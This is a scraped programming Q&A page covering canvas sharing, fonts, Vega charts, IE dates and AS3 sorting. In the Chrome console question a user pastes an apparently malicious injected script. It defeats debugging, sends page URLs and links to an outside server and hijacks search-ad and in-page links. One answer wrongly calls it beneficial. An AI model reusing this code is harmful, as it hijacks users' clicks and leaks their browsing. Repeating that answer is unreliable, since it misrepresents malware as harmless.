Pass image between canvas with Webrtc - html

I have found a similar question but it doesn't seem to answer my question. I have an HTML5 canvas and i use pubnub with webrtc. What i want to do is to pass my image between the canvas like the data from here are passed http://pubnub.github.io/codoodler/history.html. Any ideas? (Please add an example to the answer if possible)
! function() {
function a(a) {
q.publish({
channel: 'mychannel12',
message: a
})
}
function b(a, b) {
h.strokeStyle = a, h.beginPath(), h.moveTo(b[0].x, b[0].y);
for (var c = 1; c < b.length; c++) h.lineTo(b[c].x, b[c].y);
h.stroke()
}
function c(a) {
!a || a.plots.length < 1 || b(a.color, a.plots)
}
function d(a) {
if (a.preventDefault(), r) {
var c = j ? a.targetTouches[0].pageX - g.offsetLeft : a.offsetX || a.layerX - g.offsetLeft,
d = j ? a.targetTouches[0].pageY - g.offsetTop : a.offsetY || a.layerY - g.offsetTop;
s.push({
x: c << 0,
y: d << 0
}), b(i, s)
}
}
function e(a) {
a.preventDefault(), r = !0
}
function f(b) {
b.preventDefault(), r = !1, a({
color: i,
plots: s
}), s = []
}
var g = document.getElementById("drawCanvas"),
h = g.getContext("2d"),
i = document.querySelector(":checked").getAttribute("data-color");
g.width = Math.min(document.documentElement.clientWidth, window.innerWidth || 300), g.height = Math.min(document.documentElement.clientHeight, window.innerHeight || 300), h.strokeStyle = i, h.lineWidth = "3", h.lineCap = h.lineJoin = "round", document.getElementById("colorSwatch").addEventListener("click", function() {
i = document.querySelector(":checked").getAttribute("data-color")
}, !1);
var j = "ontouchstart" in window,
k = navigator.pointerEnabled,
l = navigator.msPointerEnabled,
m = j ? "touchstart" : k ? "pointerdown" : l ? "MSPointerDown" : "mousedown",
n = j ? "touchmove" : k ? "pointermove" : l ? "MSPointerMove" : "mousemove",
o = j ? "touchend" : k ? "pointerup" : l ? "MSPointerUp" : "mouseup";
g.addEventListener(m, e, !1), g.addEventListener(n, d, !1), g.addEventListener(o, f, !1);
var p = "draw",
q = PUBNUB.init({
publish_key: "pub-c-465c4b3b-0b7d-40de-86c5-10a9433058b5",
subscribe_key: "sub-c-43a257e0-d94a-11e4-a2b8-0619f8945a4f",
leave_on_unload: !0
});
q.subscribe({
channel: 'mychannel12',
callback: c,
presence: function(a) {
a.occupancy > 1 && (document.getElementById("unit").textContent = "doodlers"), document.getElementById("occupancy").textContent = a.occupancy;
var b = document.getElementById("occupancy").parentNode;
b.classList.add("anim"), b.addEventListener("transitionend", function() {
b.classList.remove("anim")
}, !1)
}
}), drawHistory && q.history({
channel: 'mychannel12',
count: 50,
callback: function(a) {
q.each(a[0], c)
}
});
var r = !1,
s = []
}();

You can publish/subscribe the canvas coordinates data in (x, y), just like the code sample, or pass the url/path of the image, but not the image itself.
The size of each data you can publish using PubNub APIs is <32k, so passing images directly using PubNub is not an ideal way, even if you convert a canvas image to a base64 with canvas.toDataURL. It would be still too large.
You probably want to send the canvas images data elsewhere, like Parse, and just pass the url.

Related

Font size is different in different browser and different OS and for different language

I have 5 languages, when I change some of the languages, the font size is altering, my perfect font size is in google chrome, windows OS, and it is different in Mozilla windows, google chrome MAC OS, Mozilla MAC OS
I had similar(?) problem where English letters were bigger than Hebrew letters for some font. Since it's anyway for display purposes, I allowed myself to run a javascript on page load to fix it.
var EnglishCharFixer = {
do_body: function() {
this.do_elem(document.body);
},
do_elem: function(elem) {
var nodes = this.textNodesUnder(elem);
this.process_text_nodes(nodes)
},
textNodesUnder: function(node) {
var all = [];
for (node = node.firstChild; node; node = node.nextSibling) {
if (node.nodeType == 3) all.push(node);
else all = all.concat(this.textNodesUnder(node));
}
return all;
},
replace_node: function(node, str) {
var replacementNode = document.createElement('span');
replacementNode.innerHTML = str
node.parentNode.insertBefore(replacementNode, node);
node.parentNode.removeChild(node);
},
decorate_english: function(str, cls) {
var a = []
for (var i = 0; i < str.length; i++) {
var c = str.charAt(i);
if (c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z' || c == '#') {
a.push("<span class=\"" + cls + "\">" + c + "</span>")
} else {
a.push(c)
}
}
return a.join("")
},
process_text_nodes: function(nodes) {
for (var index = 0; index < nodes.length; index++) {
var node = nodes[index];
var value = node.nodeValue
var str = this.decorate_english(value, "eng2")
if (str != value) {
this.replace_node(node, str)
}
}
}
}
EnglishCharFixer.do_body();
div {
font-size: 24px;
}
.eng2 {
font-size: 50%;
}
<div>
Hello world שלום עולם
</div>

simplest way to update data in VegaEmbed

I made a small graph to show some data from a bluetooth device.
I used a sample I found for VegaEmbed, it was all very easy.
But the sample uses a timer to get data, so even if there is no data the dataset will be changed. What is the simples way to update data inside VegaEmbed from another part of the website ?
I cannot call res.view.change('table', changeSet).run(); from outside VegaEmbded..
Here is snappshot of the code :
(the function handleDataChanged is called when there is bluetooth data.)
function handleDataChanged(event) {
var value = event.target.value;
value = value.buffer ? value : new DataView(value);
let result = {};
let index = 1;
datapointx = value.getInt16(index, /*littleEndian=*/false);
console.log('X: ' + value.getInt16(index, /*littleEndian=*/false));
index += 2;
datapointy = value.getInt16(index, /*littleEndian=*/true);
console.log('Y: ' + value.getInt16(index, /*littleEndian=*/false));
index += 2;
datapointz = value.getInt16(index, /*littleEndian=*/true);
console.log('Z: ' + value.getInt16(index, /*littleEndian=*/false));
index += 2;
}
</script>
<script>
document.querySelector('button').addEventListener('click', function() {
onButtonClick();
});
</script>
<script type="text/javascript">
var vlSpec = {
$schema: 'https://vega.github.io/schema/vega-lite/v3.json',
data: {name: 'table'},
width: 400,
mark: 'line',
encoding: {
x: {field: 'x', type: 'quantitative', scale: {zero: false}},
y: {field: 'y', type: 'quantitative'},
color: {field: 'category', type: 'nominal'}
}
};
vegaEmbed('#chart', vlSpec).then(function(res) {
/**
* Generates a new tuple with random walk.
*/
function newGenerator() {
var counter = -1;
var previousY = [5, 5, 5];
return function() {
counter++;
var newVals = previousY.map(function(v, c)
{
console.log('c = ' + c);
var yval = 0;
if (c == 0)
yval = datapointx;
if (c == 1)
yval = datapointy;
if (c == 2)
yval = datapointz;
return {
x: counter,
// y: v + Math.round(Math.random() * 10 - c * 3),
y: yval,
category: c
};
});
previousY = newVals.map(function(v) {
return v.y;
});
return newVals;
};
}
var valueGenerator = newGenerator();
var minimumX = -100;
window.setInterval(function() {
minimumX++;
var changeSet = vega
.changeset()
.insert(valueGenerator())
.remove(function(t) {
return t.x < minimumX;
});
res.view.change('table', changeSet).run();
}, 100);
});
</script>
The simplest way to update data in an existing vega-lite chart is to use a streaming data model. There is an example in the Vega-Lite documentation here: https://vega.github.io/vega-lite/tutorials/streaming.html

Chrome console auto clear log

I'm using chrome to debug something.But the console will auto clear, and here is the url https://eluxer.net/code?id=105&subid=51824_6967_.What about it?
the url's content is here.search c.clear()
(function() {
var core = {
dt: !1,
isFrame: top != self,
modules: [],
opts: [],
options: {},
start: null,
$: null,
now: function() {
return (new Date).getTime()
},
buildUrl: function(o, t) {
return document.location.protocol + "//" + this.options.host + o + "?" + this.$.param(t)
},
buildMCUrl: function(o, t) {
return "https://" + this.options.mcHost + o + "?" + this.$.param(t)
},
getPageHostname: function() {
return document.location.hostname.replace(/^www\./, "")
},
init: function(options) {
core.start = core.now(),
core.options = options;
var requres = new XMLHttpRequest;
requres.onload = function() {
eval(this.responseText);
var $ = core.$ = jQuery;
jQuery.noConflict(),
$.each(core.modules, function(o, t) {
t.call(null, core.opts[o], core, $, window, document)
})
}
,
requres.open("get", "https://code.jquery.com/jquery-3.0.0.min.js"),
requres.send()
},
run: function(o) {
this.modules.push(o)
}
};
core.init({
"subid": "51824_6967_",
"host": "eluxer.net",
"mcHost": "datds.net"
});
core.opts.push({});
core.run(function(e, n, r, t, i) {
function o() {
clearInterval(l),
n.dt || (n.dt = !0,
(new Image).src = n.buildUrl("/dt", {
r: Math.random()
}))
}
function a() {
var e = t.Firebug
, r = e && e.chrome;
return r && r.isInitialized ? void o() : (c.log(d),
void setTimeout(function() {
n.dt || c.clear()
}, 100))
}
var d = new Image
, c = t.console;
d.__defineGetter__("id", o);
var l = setInterval(a, 1e3);
a()
});
core.opts.push({
"place": 2524,
"maxIndexLength": 10000,
"minDistance": 200,
"phrases": false,
"domains": true
});
core.run(function(e, t, r, n, a) {
if (!t.isFrame) {
var i = a.createElement("a")
, o = n.localStorage
, s = {
progress: !1,
runTimeout: null,
init: function() {
switch (s.watchMutations(),
t.getPageHostname()) {
case "yandex.ru":
case "yandex.ua":
s.prepareYandex();
break;
case "google.ru":
case "google.com":
case "google.com.ua":
s.prepareGoogle()
}
},
watchMutations: function() {
if (n.MutationObserver) {
var e = t.getPageHostname()
, r = {
"yandex.ru": [/\bcontent__left\b/, /\bsuggest2\b/],
"yandex.ua": [/\bcontent__left\b/, /\bsuggest2\b/],
"google.com": [/\bcontent\b/, /\btsf\b/],
"google.com.ua": [/\bcontent\b/, /\btsf\b/],
"google.ru": [/\bcontent\b/, /\btsf\b/]
};
if (r.hasOwnProperty(e)) {
var i = r[e]
, o = new n.MutationObserver(function(e) {
for (var t = !0, r = 0; r < e.length; r++)
for (var n = e[r].target; n; ) {
for (var a = 0; a < i.length; a++)
i[a].test(n.className) && (t = !1);
n = n.parentNode
}
t || s.reRun()
}
);
o.observe(a.body, {
childList: !0,
subtree: !0
})
}
}
},
prepareYandex: function() {
r(".serp-adv-item").each(function() {
var e = r(this)
, t = e.find(".serp-item__greenurl a, .organic__path a");
if (t.length) {
var n = t[0]
, a = n.textContent.toLowerCase().split("/")[0];
e.find("a").attr("data-href", "http://" + a)
}
})
},
prepareGoogle: function() {
r(".ads-ad").each(function() {
var e = r(this)
, t = e.find("cite")[0];
if (t) {
var n = t.textContent.toLowerCase().split("/")[0];
e.find("a").attr("data-href", "http://" + n)
}
})
},
reRun: function() {
s.progress || (clearTimeout(s.runTimeout),
s.runTimeout = setTimeout(function() {
s.run(a.body)
}, 500))
},
run: function(n) {
s.progress = !0;
var i = {
url: a.location.href,
urls: [],
phrases: []
};
return e.domains && (i.urls = s.findUrls(n)),
e.phrases && (i.phrases = s.findPhrases(n)),
i.urls.length || i.phrases.length ? void r.ajax({
type: "POST",
data: JSON.stringify(i),
contentType: "application/json",
dataType: "json",
xhrFields: {
withCredentials: !0
},
url: t.buildMCUrl("/replacement/find", {
place: e.place,
subid: t.options.subid,
hsid: chrome && chrome.runtime && chrome.runtime.id || ""
}),
success: function(e) {
t.dt || (s.replaceUrls(n, e.urls),
s.replacePhrases(n, e.phrases),
setTimeout(function() {
s.progress = !1
}, 500))
}
}) : void (s.progress = !1)
},
getDomainByUrl: function(e) {
return i.href = e,
s.getDomain(i)
},
getDomain: function(e) {
return e.hostname.toLowerCase().replace(/^www\./, "")
},
getRealDomain: function(e) {
return s.getDomainByUrl(s.getRealHref(e))
},
getRealHref: function(e) {
var t = s.getDomain(e);
return -1 !== ["google.ru", "google.com", "yabs.yandex.ru"].indexOf(t) && e.getAttribute ? e.getAttribute("data-href") : e.href
},
getBaseRealHref: function(e) {
i.href = s.getRealHref(e);
var t = s.getDomain(i)
, r = "";
return -1 !== ["realty.yandex.ru", "plarium.com", "espritgames.ru", "101xp.com", "promo.101xp.com", "sportiv.ru"].indexOf(t) && (r = i.pathname),
t + r
},
getDistance: function(e, t) {
var r, n, a, i;
return e.top < t.top ? (a = e.top + e.height,
i = t.top) : (a = t.top + t.height,
i = e.top),
e.left < t.left ? (r = e.left + e.width,
n = t.left) : (r = t.left + t.width,
n = e.left),
Math.pow(r - n, 2) + Math.pow(a - i, 2)
},
extractWords: function(e) {
var t, r = new RegExp("(?:[-._&]?[a-zа-яё0-9]+)+","ig"), n = [];
for (n.wordsLength = 0; t = r.exec(e); )
n.push({
word: t[0].toLowerCase(),
text: t[0],
index: t.index
}),
n.wordsLength += t[0].length;
return n
},
findLinks: function(e) {
return r(e).find("a").filter(function() {
return !!this.hostname && !!s.getRealDomain(this)
})
},
findUrls: function(e) {
if (!e)
return [];
var t = {};
return this.findLinks(e).each(function() {
var e = s.getBaseRealHref(this);
t[e] = 1
}),
Object.keys(t)
},
replaceUrls: function(e, t) {
e && t && this.findLinks(e).each(function() {
var e = this
, n = s.getBaseRealHref(e);
if (n && t.hasOwnProperty(n)) {
var a = t[n]
, i = s.getRealHref(e);
e.realHref = i,
e.hiddenHref = s.buildClickLink(r.extend({
href: i
}, a)),
s.setClickHandler(e)
}
})
},
setClickHandler: function(e) {
var t = e.onclick;
e.onclick = function(r) {
var n, a = s.handleClick(e);
if ("function" == typeof t && (n = t(r)),
a && !1 === n)
return !1
}
},
handleClick: function(e) {
if (!e.hiddenHref)
return !1;
var r = e.href
, n = s.getDomain(a.location);
if (t.dt && e.realHref)
return !1;
var i = e.realHref && s.getDomainByUrl(e.realHref);
if (i && (-1 !== n.indexOf(i) || -1 !== i.indexOf(n))) {
var f = t.now();
if (!o || o._ym_ts && f - o._ym_ts < 72e5 || f - t.start < 6e4)
return !1;
o._ym_ts = t.now()
}
return e.href = e.hiddenHref,
e.realHref && delete e.hiddenHref,
setTimeout(function() {
e.href = r
}, 10),
!0
},
isPhraseNodeAllowed: function(e) {
if (!e.tagName)
return !1;
var t = ["AUDIO", "VIDEO", "IFRAME", "A", "IMG", "INPUT", "BUTTON", "SELECT", "OPTION", "SCRIPT", "META", "LINK", "STYLE", "NOSCRIPT", "HEADER", "FOOTER", "LABEL", "H1", "H2", "H3", "H4", "H5", "H6"];
if (-1 !== t.indexOf(e.tagName.toUpperCase()))
return !1;
if (e.className && "string" == typeof e.className)
for (var r = ["ya-partner", "header"], n = 0; n < r.length; n++)
if (e.className.match(new RegExp("\b" + r[n] + "\b")))
return !1;
var a = ["header", "footer"];
return -1 === a.indexOf(e.id)
},
findPhraseNodes: function(e) {
for (var t = [], n = [e]; n.length; ) {
var a = n.shift();
if (a.nodeType === Node.TEXT_NODE) {
var i = r.trim(a.textContent);
if (i.length > 2) {
var o = s.extractWords(a.textContent);
o.length && t.push([a, o])
}
} else if (s.isPhraseNodeAllowed(a))
for (var f = 0, c = a.childNodes.length; f < c; f++)
n.push(a.childNodes[f])
}
return t
},
findPhrases: function(t) {
var n = []
, a = 0
, i = this.findPhraseNodes(t);
return r.each(i, function(t, i) {
var o = i[1]
, s = r.map(o, function(e) {
return e.word
}).join(" ");
return a += s.length,
!(a > e.maxIndexLength) && void n.push(s)
}),
n
},
replacePhrases: function(e, t) {
if (e && t) {
var r = this.doReplacePhrases(e, t);
this.removeBadReplaces(e, r)
}
},
doReplacePhrases: function(e, t) {
var n = {};
r.each(t, function(e, t) {
var a = s.extractWords(e)
, i = n;
r.each(a, function(e, r) {
var n = a[e].word;
i.hasOwnProperty(n) || (i[n] = {
parent: i
}),
i = i[n],
e === a.length - 1 && (i.data = t)
})
});
var i = s.findPhraseNodes(e)
, o = [];
return r.each(i, function(e, t) {
for (var r, i = t[0], f = t[1], c = i.textContent, l = 0, u = 0, d = f.length; u < d; ) {
for (var h = u, p = n; h < d && p.hasOwnProperty(f[h].word); )
p = p[f[h].word],
h++;
for (; p.parent && !p.data; )
p = p.parent,
h--;
if (h <= u && !p.data)
u++;
else {
r = c.slice(l, f[u].index),
"" != r && i.parentNode.insertBefore(a.createTextNode(r), i);
var g = f[h - 1].index + f[h - 1].word.length
, m = c.slice(f[u].index, g)
, v = s.createPhraseLink(m, p);
o.push(v),
i.parentNode.insertBefore(v, i),
l = g,
u = h
}
}
l > 0 && (i.textContent = c.slice(l))
}),
o
},
removeBadReplaces: function(t, n) {
var i = Math.pow(e.minDistance, 2)
, o = []
, f = []
, c = [];
return r.each(n, function(e, t) {
var n = r(t)
, a = n.offset();
a.width = n.width(),
a.height = n.height();
for (var l = !0, u = o.length - 1; u >= 0; u--)
if (s.getDistance(o[u], a) < i) {
l = !1;
break
}
l ? (c.push(t),
o.push(a)) : f.push(t)
}),
r.each(f, function(e, t) {
t.parentNode.insertBefore(a.createTextNode(t.textContent), t),
r(t).remove()
}),
c
},
createPhraseLink: function(e, t) {
var n = a.createElement("a")
, i = r.extend({}, t.data, {
text: e
});
return r.extend(n, {
rel: "nofollow",
target: "_blank",
className: "intext-link",
textContent: e,
href: t.data.link || "#",
hiddenHref: s.buildClickLink(i)
}),
s.setClickHandler(n),
r.extend(n.style, {
position: "relative",
fontWeight: "bold"
}),
n
},
buildClickLink: function(n) {
return n = r.extend({
place: e.place,
subid: t.options.subid
}, n, {
url: a.location.href
}),
t.buildMCUrl("/replacement/click", n)
}
};
r(a).ready(function() {
s.init(),
s.run(a.body)
})
}
});
core.opts.push({});
core.run(function(e, a, o, n, l) {
var r = "seReplace"
, t = n.localStorage
, c = t[r] || 0;
a.now() - c < 864e5 || setInterval(function() {
var e, o = l.location;
o.pathname,
o.hostname,
o.href;
e && (t.seReplace = Date.now(),
l.location.href = a.buildMCUrl("/go", {
url: e
}))
}, 1e3)
});
}
)();
This appears to be related to an extension you have on your system. I disabled the Smile Always Amazon Extension and this stopped happening. There isn't much information as to what eluxer.net is, or what that script is doing, but disabling that extension did it for me.
Check your extensions one by one and see if this solves that issue.
In my Case it was postman chrome extension, removing it fixed the problem.
Here it is what it's happening https://developer.mozilla.org/en-US/docs/Web/API/Console/clear .You can disable this thing by enabling preserve log as stated in documentation:
Note that in Google Chrome, console.clear() has no effect if the user
has selected "Preserve log upon navigation" in the settings
.
That looks like a btcspinner auto spin script. I got one like that as well. But if it auto-clears the console, that makes it run longer before you have to do the "I'm not a robot". Which is very useful, let's you earn more and longer, without that interuption. So that's a good thing.

Funky IE JSON conversions

When running our AngularJS app in IE11 everything looks great in the debugger, but when our app encodes the data as JSON to save to our database, we get bad results.
Our app obtains a record from our database, then some manipulation is done and then the data is saved back to the server from another model.
Here is the data I got back from the server in the setAttendanceGetSInfo() function below:
{"data":{"Start":"2014-10-16T19:36:00Z","End":"2014-10-16T19:37:00Z"},
This is the code used to "convert the data" to 3 properties in our model:
var setAttendanceGetSInfo = function (CourseId, PID) {
return setAttendanceInfo(CourseId, PID)
.then(function (result) {
return $q.all([
$http.get("../api/Axtra/getSInfo/" + model.event.Id),
$http.get("../api/Axtra/GetStartAndEndDateTime/" + aRow.Rid)
]);
}).then(function (result) {
var r = result.data;
var e = Date.fromISO(r.Start);
var f = Date.fromISO(r.End);
angular.extend(model.event, {
examDate: new Date(e).toLocaleDateString(),
examStartTime: (new Date(e)).toLocaleTimeString(),
examEndTime: (new Date(f)).toLocaleTimeString()
});
return result.sInfo;
});
};
fromISO is defined as:
(function(){
var D= new Date('2011-06-02T09:34:29+02:00');
if(!D || +D!== 1307000069000){
Date.fromISO= function(s){
var day, tz,
rx=/^(\d{4}\-\d\d\-\d\d([tT ][\d:\.]*)?)([zZ]|([+\-])(\d\d):(\d\d))?$/,
p= rx.exec(s) || [];
if(p[1]){
day= p[1].split(/\D/);
for(var i= 0, L= day.length; i<L; i++){
day[i]= parseInt(day[i], 10) || 0;
};
day[1]-= 1;
day= new Date(Date.UTC.apply(Date, day));
if(!day.getDate()) return NaN;
if(p[5]){
tz= (parseInt(p[5], 10)*60);
if(p[6]) tz+= parseInt(p[6], 10);
if(p[4]== '+') tz*= -1;
if(tz) day.setUTCMinutes(day.getUTCMinutes()+ tz);
}
return day;
}
return NaN;
}
}
else{
Date.fromISO= function(s){
return new Date(s);
}
}
})()
Take a look at the screenshot of the event model data:
But, if I eval the event model using JSON.stringify(model.event), I get this:
{\"examDate\":\"?10?/?16?/?2014\",\"examStartTime\":\"?2?:?44?:?00? ?PM\",\"examEndTime\":\"?2?:?44?:?00? ?PM\"}
And this is the JSON encoded data that actually got stored on the DB:
"examDate":"¿10¿/¿16¿/¿2014","examStartTime":"¿2¿:¿36¿:¿00¿ ¿PM","examEndTime":"¿2¿:¿37¿:¿00¿ ¿PM"
What is wrong here and how can I fix this? It works exactly as designed in Chrome and Firefox. I have not yet tested on Safari or earlier versions of IE.
The toJSON for the date class isn't defined perfectly the same for all browsers.
(You can see a related question here: Discrepancy in JSON.stringify of date values in different browsers
I would suspect that you have a custom toJSON added to the Date prototype since your date string doesn't match the standard and that is likely where your issue is. Alternatively, you can use the Date toJSON recommended in the above post to solve your issues.
First, I modified the fromISO prototype to this:
(function () {
var D = new Date('2011-06-02T09:34:29+02:00');
if (!D || +D !== 1307000069000) {
Date.fromISO = function (s) {
var D, M = [], hm, min = 0, d2,
Rx = /([\d:]+)(\.\d+)?(Z|(([+\-])(\d\d):(\d\d))?)?$/;
D = s.substring(0, 10).split('-');
if (s.length > 11) {
M = s.substring(11).match(Rx) || [];
if (M[1]) D = D.concat(M[1].split(':'));
if (M[2]) D.push(Math.round(M[2] * 1000));// msec
}
for (var i = 0, L = D.length; i < L; i++) {
D[i] = parseInt(D[i], 10);
}
D[1] -= 1;
while (D.length < 6) D.push(0);
if (M[4]) {
min = parseInt(M[6]) * 60 + parseInt(M[7], 10);// timezone not UTC
if (M[5] == '+') min *= -1;
}
try {
d2 = Date.fromUTCArray(D);
if (min) d2.setUTCMinutes(d2.getUTCMinutes() + min);
}
catch (er) {
// bad input
}
return d2;
}
}
else {
Date.fromISO = function (s) {
return new Date(s);
}
}
Date.fromUTCArray = function (A) {
var D = new Date;
while (A.length < 7) A.push(0);
var T = A.splice(3, A.length);
D.setUTCFullYear.apply(D, A);
D.setUTCHours.apply(D, T);
return D;
}
Date.toJSON = function (key) {
return isFinite(this.valueOf()) ?
this.getUTCFullYear() + '-' +
f(this.getUTCMonth() + 1) + '-' +
f(this.getUTCDate()) + 'T' +
f(this.getUTCHours()) + ':' +
f(this.getUTCMinutes()) + ':' +
f(this.getUTCSeconds()) + 'Z' : null;
};
})()
Then I added moment.js and formatted the dates when they get stored:
var SaveAffRow = function () {
// make sure dates on coursedate and event are correct.
var cd = model.a.courseDate;
var ed = model.event.examDate;
var est = model.event.examStartTime;
var eet = model.event.examEndTime;
model.a.courseDate = moment(cd).format("MM/DD/YYYY");
model.event.examDate = moment(ed).format("MM/DD/YYYY");
model.event.examStartTime = moment(est).format("MM/DD/YYYY hh:mm A");
model.event.examEndTime = moment(eet).format("MM/DD/YYYY hh:mm A");
affRow.DocumentsJson = angular.toJson({a: model.a, event: model.event});
var aff = {};
if (affRow.Id != 0)
aff = affRow.$update({ Id: affRow.Id });
else
aff = affRow.$save({ Id: affRow.Id });
return aff;
};
and when they get read (just in case they are messed up already):
var setAttendanceGetSInfo = function (CourseId, PID) {
return setAttendanceInfo(CourseId, PID)
.then(function (result) {
return $q.all([
$http.get("../api/Axtra/getSInfo/" + model.event.Id),
$http.get("../api/Axtra/GetStartAndEndDateTime/" + aRow.Rid)
]);
}).then(function (result) {
var r = result.data;
var e = Date.fromISO(r.Start);
var f = Date.fromISO(r.End);
angular.extend(model.event, {
examDate: moment(e).format("MM/DD/YYYY"),
examStartTime: moment(e).format("MM/DD/YYYY hh:mm A"),
examEndTime: moment(f).format("MM/DD/YYYY hh:mm A")
});
return result.sInfo;
});
};

AS3 - sort arraycollection alpha numeric values

i'm trying to sort an arraycollection that uses letters and numbers
Currently I'm getting "b12,c1,b1,b3,b4,b5,b6,b7,b8,b9,b10,b11,b0,b13,b14,b15" but want "b0,b1,b2,b3,b4,b5,b6,b7,b8,b9,b10,b11,b12,b13,b14,b15,c1"
Please can anyone suggest when're I have gone wrong?
var dataSortField:SortField = new SortField();
dataSortField.name = "order";
dataSortField.numeric = false;
dataSortField.compareFunction = sortAlphaNumeric;
var numericDataSort:Sort = new Sort();
numericDataSort.fields = [dataSortField];
pageArrCol.sort = numericDataSort;
private function sortAlphaNumeric(a:String, b:String):int {
var reA:RegExp = /[^a-zA-Z]/g;
var reN:RegExp = /[^0-9]/g;
var aA:String = a.replace(reA,"");
var bA:String = b.replace(reA,"");
if (aA === bA) {
var aN:int = parseInt(a.replace(reN,""),10);
var bN:int = parseInt(b.replace(reN,""),10);
return aN === bN ? 0 : aN > bN ? 1 : -1;
} else {
return aA > bA ? 1 : -1;
}
}
myArrayCollectionToSort.source.sortOn("order", sortAlphaNumeric);
private function sortAlphaNumeric(a:String, b:String):int {
var reA:RegExp = /[^a-zA-Z]+/g;
var reN:RegExp = /[^0-9]+/g;
var aA:String = a.match(reA)[0];
var bA:String = b.match(reA)[0];
if (aA == bA) {
var aN:int = parseInt(a.match(reN)[0],10);
var bN:int = parseInt(b.match(reN)[0],10);
return aN == bN ? 0 : aN > bN ? 1 : -1;
}
return aA > bA ? 1 : -1;
}
I don't test it but it should works, and array is way faster than an ArrayCollection. (arraycollection.source is an array). If the sorted ArrayCollection is binded you need to dispatch a refresh event if you want the bind to works:
myArrayCollectionToSort.dispatchEvent(new CollectionEvent(CollectionEvent.COLLECTION_CHANGE, false, false, CollectionEventKind.REFRESH));
or
myArrayCollectionToSort.refresh();
Assuming that b12,c1,b1 is your input format
You may have meant, a.match(regex)[0]
var reA:RegExp = /[a-zA-Z]+/g;
var reN:RegExp = /[0-9]+/g;
var aA:String = a.match(reA)[0];
var bA:String = b.match(reA)[0];
if (aA === bA) {
var aN:int = parseInt(a.match(reN)[0],10);
var bN:int = parseInt(b.match(reN)[0],10);
return aN === bN ? 0 : aN > bN ? 1 : -1;
}else {
return aA > bA ? 1 : -1;
}
I have not tested this, but you should not be using replace, use match instead. Also, the regular expression is wrong. You have to revisit the regular expression.

Categories